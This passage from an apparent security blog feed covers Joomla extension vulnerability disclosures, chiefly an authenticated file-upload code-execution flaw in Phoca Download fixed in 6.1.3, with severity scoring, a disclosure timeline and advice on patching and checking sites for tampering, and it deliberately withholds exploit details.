&lt;p&gt;Hash-based monitoring on a watch list is fast and has effectively zero false positives, but it is one layer, not the whole defence. It is worth knowing its limits.&lt;/p&gt;
&lt;p&gt;It only covers the files you are watching. A backdoor dropped into a random uploads folder three directories deep is not on the watch list, so a &lt;code&gt;.md5&lt;/code&gt; lock will never see it. That is what a full security audit, the &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden-files check&lt;/a&gt;, and the suspect-content scanner are for, and why those run across your entire webspace rather than a short list. It also cannot see payloads that live in the database rather than on disk. We watched exactly that play out with the &lt;a href=&quot;https://mysites.guru/blog/helix3-antonkill-defacement-wave/&quot;&gt;Helix3 defacement wave, where the injected code lived in the database, not the files&lt;/a&gt;, so a clean file hash told you nothing. Treat the &lt;code&gt;.md5&lt;/code&gt; lock files as instant change detection on your highest-value files, and pair them with full-site scanning for everything else.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/File_integrity_monitoring&quot;&gt;File integrity monitoring (Wikipedia)&lt;/a&gt; - the general technique of baselining a file’s hash and alerting on change, and where it fits in standards like PCI-DSS and NIST.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/MD5&quot;&gt;MD5 (Wikipedia)&lt;/a&gt; - the collision history behind the “MD5 is broken” claim, and why it applies to forging files rather than detecting changes to one you control.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsfirewall-user-guide/troubleshooting/file-and-folder-access-check-checking-the-integrity-of-your-configurationphp-file.html&quot;&gt;Checking the integrity of your configuration.php file (RSJoomla)&lt;/a&gt; - a vendor writeup on why &lt;code&gt;configuration.php&lt;/code&gt; is the most targeted file on a Joomla site.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.wordpress.org/apis/wp-config-php/&quot;&gt;Securing wp-config.php (WordPress developer handbook)&lt;/a&gt; - what lives in the WordPress equivalent and how to lock it down.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;Want this running on every Joomla and WordPress site you look after, without logging into each server to check? &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;Run a free audit&lt;/a&gt; on one site and see the file monitoring in action.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>file integrity</category><category>monitoring</category><category>hacked</category><category>joomla</category><enclosure url="https://mysites.guru/img/og/blog/myjoomla-configuration-php-md5-files.png" length="0" type="image/png"/></item><item><title>Phoca Download 6.1.3 Fixes an Authenticated Upload RCE</title><link>https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/phoca-download-authenticated-file-upload-rce/</guid><description>Phoca Download for Joomla (com_phocadownload) up to 6.1.2 let a logged-in member upload a PHP file and run code on the server. Fixed in 6.1.3, update now.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Phoca Download is a long-established download-manager component for Joomla, installed as &lt;code&gt;com_phocadownload&lt;/code&gt; and used to store, organise and serve files on business, membership and community sites. Up to and including version 6.1.2, its frontend member-upload feature had a flaw: the file-type allow-list that the extension enforces on its other upload paths was skipped for member uploads. A logged-in user could upload a file type that should have been rejected, such as a &lt;code&gt;.php&lt;/code&gt; script, into the public user-upload folder and then run it. That is authenticated remote code execution.&lt;/p&gt;
&lt;p&gt;Phoca fixed it in version 6.1.3, released on 10 July 2026. If you run Joomla sites with Phoca Download on them, update every one to 6.1.3 or later. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Authenticated and behind a non-default feature, but still update promptly&lt;/p&gt;
  &lt;p&gt;The Joomla CNA scored this Critical (CVSS 4.0 9.0), because it ends in code execution. Unlike the recent no-login Joomla upload flaws, though, it needs a registered account and needs the Phoca Download user-upload feature switched on, so far fewer sites are reachable in practice. If your Phoca Download sites let members upload files, treat it as a priority: update to 6.1.3, then check the user-upload folder and your admin accounts. If member uploads are off (the default), you are not exposed to this path, but you should still update.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;: The frontend member-upload feature in Phoca Download (&lt;code&gt;com_phocadownload&lt;/code&gt;) up to and including 6.1.2 (fixed in 6.1.3) skipped the file-type allow-list that the extension enforces on its other upload paths. Because of an internal upload-mode mismatch, the admin-configured list of permitted types was never consulted for member uploads, so a logged-in user could write a &lt;code&gt;.php&lt;/code&gt; file into the public user-upload folder and execute it, which is authenticated remote code execution (CWE-434). It needs a registered account and needs the non-default user-upload feature enabled with a category granting upload rights, which is why the Joomla CNA scored it 9.0 (Critical) on CVSS 4.0 rather than the maximum 10.0 the recent unauthenticated flaws hit. We found it during a source-code audit, reproduced the full chain on a local Joomla install, and disclosed it privately to Phoca, who fixed it the same day in 6.1.3. It is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned via the Joomla project’s CNA and crediting Phil Taylor of mySites.guru. No proof of concept has been made public. Update every Phoca Download install to 6.1.3, then check any site that had member uploads enabled. If you look after more than a handful of Joomla sites, mySites.guru lists every Phoca Download install in your account in seconds and pushes the update.&lt;/p&gt;
&lt;h2&gt;What Was Actually Wrong in Phoca Download?&lt;/h2&gt;
&lt;p&gt;Phoca Download lets a site optionally accept files from logged-in members through the frontend, so a community or membership site can let its users submit downloads. That feature is off by default. When it is switched on, uploads should be checked against the same allow-list of permitted file types that the extension uses on its other upload paths, the list an administrator configures to allow documents, archives and images but not executable code.&lt;/p&gt;
&lt;p&gt;The problem was that the member-upload path used a different internal upload mode from the one the allow-list check was written for. The check only applied to one mode, and the member-upload page ran under another, so the configured allow-list was never consulted. On a default configuration the practical result was that the file-type restriction that should have blocked a &lt;code&gt;.php&lt;/code&gt; upload simply did not run for member uploads.&lt;/p&gt;
&lt;p&gt;From there the rest of the chain is short. The file ends up in Phoca Download’s user-upload folder, which sits inside the web root and serves and executes PHP. A logged-in member could upload a file the extension was supposed to reject, then request it in a browser, and the server would run it. That is code execution on your server, chosen by whoever uploaded the file.&lt;/p&gt;
&lt;p&gt;We are not publishing the exact request an attacker would send, the task names, or the parameters involved. The shape of the bug is enough to understand the risk and to check your own sites. The working details stay private until sites have had time to update.&lt;/p&gt;
&lt;h2&gt;How This One Was Found&lt;/h2&gt;
&lt;p&gt;This did not start with a hacked site or an abuse report. It started with reading the code.&lt;/p&gt;
&lt;p&gt;Part of what we do is audit the Joomla extensions that turn up most often across the sites we manage, on a local test install where we can prove a flaw safely and put the box back exactly as it was. Phoca Download came up in that rotation. Reading through the member-upload path, the allow-list check was guarding one upload mode while the member-upload page ran under a different one, so the check never fired where it mattered most.&lt;/p&gt;
&lt;p&gt;We reproduced the whole chain end to end on a local Joomla install: a registered member, with the user-upload feature enabled, uploaded a file that the allow-list should have rejected, and requesting that file back ran it. Then it was a private email to Phoca. Jan Pavelka, the author, responded and shipped the fix in Phoca Download 6.1.3 the same day, which is exactly the response you want. The flaw is now tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned through the Joomla project’s CNA and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is what responsible disclosure looks like&lt;/p&gt;
  &lt;p&gt;Found in a code audit, confirmed live on a local install, reported privately, and fixed by the author the same day. No exploit has been published, and none will be until sites have had a chance to update. The reason to write about it is to get sites patched, not to show anyone how it worked.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Critical on Paper, Behind Preconditions in Practice&lt;/h2&gt;
&lt;p&gt;It is worth being precise about severity, because it is easy to lump every “file upload to RCE” bug into the same panic. The Joomla CNA scored this Critical, and rightly so on paper: it ends in code execution, which compromises the whole server. But it is less severe in practice than the internet-wide emergency the recent unauthenticated Joomla flaws were, because getting to that code execution needs preconditions those flaws did not have.&lt;/p&gt;
&lt;p&gt;Three things have to be true before this is exploitable, and none of them is the default:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The site must have the Phoca Download user-upload feature switched on. This means an administrator has added a User Upload menu item, set “Enable User Upload” to Yes, and is letting members submit files. Out of the box, all of this is off.&lt;/li&gt;
&lt;li&gt;A Phoca Download category must grant upload rights to registered users.&lt;/li&gt;
&lt;li&gt;The attacker must have a registered account on the site that those upload rights apply to.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Compare that with the &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles unauthenticated upload RCE&lt;/a&gt;, the &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK flaw&lt;/a&gt;, or the &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms flaw&lt;/a&gt;, all of which needed no account at all and were reachable by anyone on the internet in a single request. Those scored the maximum 10.0. This one is scored 9.0 (Critical) on CVSS 4.0, a notch lower, because the login and non-default feature it needs are reflected in the vector (&lt;code&gt;AT:P&lt;/code&gt;, &lt;code&gt;PR:L&lt;/code&gt;). The practical difference is exposure: the unauthenticated flaws are reachable by anyone on the internet, while this one needs a registered account and a feature most sites never switch on. Where the preconditions are met, though, the outcome is identical: a member gets to run code on your server, so it still needs patching.&lt;/p&gt;
&lt;h2&gt;What the Phoca Download 6.1.3 Fix Does&lt;/h2&gt;
&lt;p&gt;Version 6.1.3 applies the file-type allow-list to member uploads, the same way it always applied it elsewhere. The member-upload path now runs the check that decides whether a given file type is permitted, so an upload of a type the administrator has not allowed, such as a &lt;code&gt;.php&lt;/code&gt; script, is rejected before anything is written to disk. The only way to skip the allow-list now is for an administrator to choose an “allow all file types” setting, which is an explicit choice to disable a safety net rather than a silent default.&lt;/p&gt;
&lt;p&gt;The practical takeaway is simple: 6.1.3 closes the gap that let a member upload a file type the site was supposed to reject. Every Phoca Download install on 6.1.2 or earlier, with member uploads enabled, is on the wrong side of that gap until it is updated.&lt;/p&gt;
&lt;h2&gt;How Do I Get Phoca Download 6.1.3 Right Now?&lt;/h2&gt;
&lt;p&gt;The fix is Phoca Download 6.1.3. A brand-new release takes a short while to propagate everywhere, so at the time of writing you may see the earlier 6.1.2 in a couple of places while 6.1.3 catches up:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Phoca published 6.1.3 on its &lt;a href=&quot;https://github.com/PhocaCz/PhocaDownload/releases&quot;&gt;official GitHub releases&lt;/a&gt; on 10 July 2026. That is the authoritative source for the patched package right now.&lt;/li&gt;
&lt;li&gt;The phoca.cz download portal and the in-Joomla update channel may still be offering 6.1.2 for a short period as the new release rolls out.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So the one thing to check is the version number. Whether you update from the Joomla updater, the phoca.cz portal, or GitHub, confirm you are actually installing 6.1.3 or later and not 6.1.2. If your usual update route still shows 6.1.2, either grab 6.1.3 from Phoca’s GitHub releases or give it a little time and re-check. Phoca is expected to publish its own release notes alongside the update.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Catches This Without a Signature&lt;/h2&gt;
&lt;p&gt;If you already run sites through mySites.guru, this is the part worth knowing. We did not need a Phoca-specific rule to catch this class of activity. mySites.guru watches for the behaviour, an unexpected executable file being written into a public folder, rather than a fingerprint of one particular extension’s bug.&lt;/p&gt;
&lt;p&gt;That generic detection is the same logic that catches &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder&lt;/a&gt; upload attempts. An executable file dropped through an upload looks the same regardless of which extension left the door open, so we can catch new bugs of this shape before anyone has written a rule naming them. This is the same lesson as the &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX and frontend endpoints blind spot&lt;/a&gt;: an endpoint that accepts input from users has to treat every input as hostile.&lt;/p&gt;
&lt;p&gt;If a hostile file does end up on a site, the &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;suspect content tool and hacked-file detection&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;backdoor scanning&lt;/a&gt; find it across every connected site, matching it against known malware hashes and thousands of code patterns. Anything flagged can be sent for &lt;a href=&quot;https://mysites.guru/blog/ai-powered-malware-analysis-now-available-in-mysites-guru/&quot;&gt;AI-powered malware analysis&lt;/a&gt; that explains in plain English what the file does.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every Phoca Download Site I Manage?&lt;/h2&gt;
&lt;p&gt;The first question after any extension security release is the awkward one: which of my sites actually run this? Up to about ten sites, you can log in to each Joomla admin and check the installed extensions list. Past that, you need a single view.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. You search for Phoca Download once and get back every connected site running it, the version each one is on, and whether an update is available. It is the same workflow as &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;finding every site running a vulnerable JCE&lt;/a&gt;: search once, see everything, no logging into forty admin panels one at a time.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View every Phoca Download install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for Phoca Download across every connected Joomla site and filter for anything on 6.1.2 or earlier to find the installs that still need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. Tick the sites on an old version and push the update to all of them from one screen. You can also switch on &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; so future Phoca Download releases are applied without you lifting a finger.&lt;/p&gt;
&lt;h2&gt;How Do I Check a Phoca Download Site for Tampering?&lt;/h2&gt;
&lt;p&gt;Updating closes the gap. It does not tell you whether anyone walked through it first. Because the flaw allowed a member to drop a file and run it, a site that had member uploads enabled and was on 6.1.2 or earlier could already have been touched, so check before you assume it is clean.&lt;/p&gt;
&lt;p&gt;Three checks, in order of value:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Look in the Phoca Download user-upload folder. Anything there that is not a real member upload, and above all anything ending in &lt;code&gt;.php&lt;/code&gt;, is a red flag. On a single site you can run &lt;code&gt;find&lt;/code&gt; over that folder for &lt;code&gt;.php&lt;/code&gt; files via SSH.&lt;/li&gt;
&lt;li&gt;Check for rogue administrator accounts. Code execution is a fast route to a hidden Super User. In your Joomla Users list, sort by registration date and treat any administrator account you do not recognise as suspect.&lt;/li&gt;
&lt;li&gt;Hunt for modified and unfamiliar files. A foothold is a perfect moment to plant persistence elsewhere. Look for recently changed PHP files and for executable files sitting where uploads should not contain code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;mySites.guru runs all three of these across every connected site at once. The suspect content tool and hacked-file detection surface the stray PHP files, the extension and user inventory sorts every account across every site by registration date, and &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you the moment a new file appears or an unfamiliar admin logs in, rather than at the next manual check.&lt;/p&gt;
&lt;p&gt;If any of that turns something up, the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;Joomla hacked recovery guide&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;how to fix a hacked site&lt;/a&gt; walkthrough cover the cleanup, and &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;fix.mysites.guru&lt;/a&gt; is the done-for-you option if you would rather hand it over.&lt;/p&gt;
&lt;h2&gt;File Uploads Are a Recurring Joomla Attack Surface&lt;/h2&gt;
&lt;p&gt;If you manage Joomla sites, treat every extension that accepts files as a piece of your attack surface that deserves regular attention. The exact weakness fixed here, an upload of a file with a dangerous type slipping past a check that should have stopped it, is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;, and it shows up across the whole category rather than in one vendor’s code.&lt;/p&gt;
&lt;p&gt;The recent run of Joomla disclosures makes the point. &lt;a href=&quot;https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/&quot;&gt;RSFiles&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; and the &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero-day&lt;/a&gt; were all variations on the same theme: an endpoint that took a file without a strict check on what was actually written. Phoca Download’s version of it needed a login and a non-default feature, which makes it less exposed, but the underlying lesson is identical. A single allow-list check on the file that is actually written, applied on every path that writes one, is what stops this.&lt;/p&gt;
&lt;p&gt;Credit where it is due: Phoca did the thing that matters most, which is fix it the same day it was reported. Phoca Download has no CVE of its own on record before this, and its history of security reports is short, so this is not a pattern of problems. It is one bug, found by reading the code, and closed quickly.&lt;/p&gt;
&lt;h2&gt;Stay Ahead of the Next One&lt;/h2&gt;
&lt;p&gt;This is one extension on one day. There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept files keep producing bugs like this. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does, across every extension on every site you look after.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this Phoca Download flaw is disclosed, you see exactly which sites run it in seconds instead of logging into forty admin panels to find out. And because the monitoring watches for the behaviour rather than a signature, it catches new upload attacks of this shape before anyone has written a rule naming them.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;
  &lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-434, unrestricted upload of a file with a dangerous type. It is reachable over the network by a registered user, with no user interaction, on a site that has the non-default Phoca Download user-upload feature enabled, and it ends in remote code execution. The Joomla CNA scored it Critical (CVSS 4.0 9.0); the account and non-default-feature preconditions are what keep its real-world exposure below the unauthenticated 10.0 flaws.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Critical score, behind a login and a non-default feature&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;The Joomla CNA scored it 9.0 (Critical) because it ends in remote code execution, which compromises the whole server. It stops just short of the 10.0 the recent RSFiles, Page Builder CK and Balbooa Forms flaws hit, because it needs a registered account and needs the user-upload feature switched on rather than being reachable by anyone with no login. Those preconditions are why far fewer sites are exposed in practice.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;Registered account required&lt;/span&gt;
        &lt;span&gt;Needs the user-upload feature enabled&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Remote code execution&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is tracked as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;, assigned through the Joomla project’s CNA and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;

















































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-57828/&quot;&gt;CVE-2026-57828&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Phoca Download (&lt;code&gt;com_phocadownload&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;Phoca (Jan Pavelka)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Authenticated arbitrary file upload to remote code execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.0 (Critical), &lt;code&gt;AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CWE&lt;/td&gt;&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Preconditions&lt;/td&gt;&lt;td&gt;Registered account, user-upload feature enabled, category granting upload rights&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;Up to and including 6.1.2&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;6.1.3, released 10 July 2026&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from audit to fix, and the &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-10&lt;/strong&gt; A source-code audit turns up the member-upload path Phoca Download&apos;s member-upload path skips the file-type allow-list. We reproduce the full chain on a local Joomla install: a registered user with the user-upload feature enabled uploads a file that should be blocked and executes it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-10&lt;/strong&gt; We disclose it privately, and Phoca ships 6.1.3 the same day Jan Pavelka responds and releases Phoca Download 6.1.3, enforcing the allow-list on member uploads. A CVE is requested through the Joomla CNA. No proof of concept is published.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-11&lt;/strong&gt; CVE-2026-57828 is assigned Crediting Phil Taylor of mySites.guru as the finder.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This joined &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a dozen Joomla extension flaws we reported in a single month&lt;/a&gt; - the full roundup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/phoca-cart-sql-injection-product-filter/&quot;&gt;Phoca Cart 5.2.4, 6.1.7 and 4.0.13 fix a front-end SQL injection&lt;/a&gt; - a separate Phoca extension, a separate flaw, and a reminder to check every Phoca component you run, not just this one.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhocaCz/PhocaDownload/releases&quot;&gt;Phoca Download releases on GitHub&lt;/a&gt; - the authoritative source for the patched 6.1.3 package while it propagates to the download portal.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the official definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>phoca</category><category>file-upload</category><enclosure url="https://mysites.guru/img/og/blog/phoca-download-authenticated-file-upload-rce.png" length="0" type="image/png"/></item><item><title>RSFiles! Fixes an Unauthenticated File Upload RCE</title><link>https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/rsfiles-unauthenticated-file-upload-rce/</guid><description>RSFiles! for Joomla (com_rsfiles) up to 1.17.11 had an unauthenticated file upload flaw letting anyone drop a PHP file and run code. Update now.</description><pubDate>Fri, 10 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;RSFiles! is a widely used file-manager and download component for Joomla, installed as &lt;code&gt;com_rsfiles&lt;/code&gt; and used to store, organise and serve downloads on business and membership sites. Up to and including version 1.17.11, its frontend upload had a serious flaw: the task that received an upload could be reached by anyone, with no login and no CSRF token, and the code that actually wrote the file to disk performed no check on its type. An attacker could upload a &lt;code&gt;.php&lt;/code&gt; file into the public downloads folder and then run it, which is unauthenticated remote code execution, the worst outcome a web flaw can have.&lt;/p&gt;
&lt;p&gt;RSJoomla fixed it in version 1.17.12, released on 10 July 2026. If you run Joomla sites with RSFiles! on them, update every one to 1.17.12 or later right now. This is not a wait-for-a-maintenance-window update. Any site still on 1.17.11 or earlier is reachable by anyone on the internet, so treat it as urgent and check it for tampering the moment it is patched. This post explains what the flaw was, how it surfaced, what the fix does, and how to check whether any of your sites were touched, without publishing anything an attacker could copy.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Unauthenticated and remotely exploitable, update immediately&lt;/p&gt;
  &lt;p&gt;This flaw needs no account on the site and ends in code running on your server. Update every RSFiles! install to 1.17.12 without waiting for a maintenance window, then check each patched site for stray files in the downloads folder and for unexpected admin accounts, because a site on an old version could already have been hit.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;RSJoomla’s Own Advisory&lt;/h2&gt;
&lt;p&gt;RSJoomla published a clear, unambiguous security advisory alongside the fix, which is exactly what you want a vendor to do. Their post, &lt;a href=&quot;https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html&quot;&gt;Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!&lt;/a&gt;, spells out the risk in plain terms rather than hiding it under a routine “Fixed” line.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;From the RSJoomla advisory, posted by Octavian Cinciu, 10 July 2026&lt;/figcaption&gt;
  &lt;p&gt;Unauthenticated File Upload fixed in RSFiles! version 1.17.12 - update NOW!&lt;/p&gt;
  &lt;p&gt;A critical flaw in the RSFiles! upload function allows unauthenticated file uploads without enforcing any file extension.&lt;/p&gt;
